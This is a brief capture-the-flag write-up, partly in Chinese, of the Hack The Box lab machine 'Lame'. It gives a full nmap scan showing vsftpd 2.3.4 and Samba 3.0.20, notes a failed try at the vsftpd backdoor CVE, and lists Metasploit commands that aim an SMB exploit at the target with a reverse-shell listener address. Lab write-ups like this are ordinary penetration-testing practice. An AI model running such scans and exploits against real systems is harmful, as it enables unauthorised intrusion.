Lame (Linux · Easy)

SMB

枚举

nmap

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nmap -A -v -p- -T4 -Pn 10.10.10.3

Nmap scan report for bogon (10.10.10.3)
Host is up (0.32s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.38
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2024-07-29T02:32:28-04:00
|_clock-skew: mean: 1h51m54s, deviation: 2h49m45s, median: -8m07s

21端口,ftp默认凭据anonymous:anonymous,版本信息(vsFTPD 2.3.4),找到CVE-2011-2523,测试失败

image-20240729144704013

445端口,SMB,版本信息(lame server (Samba 3.0.20-Debian))

image-20240729145453133

MSF

打SMB

image-20240729151016637

设置好参数

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show options
set rhosts 10.10.10.3
set lhost 10.10.16.38
run

image-20240729151825285

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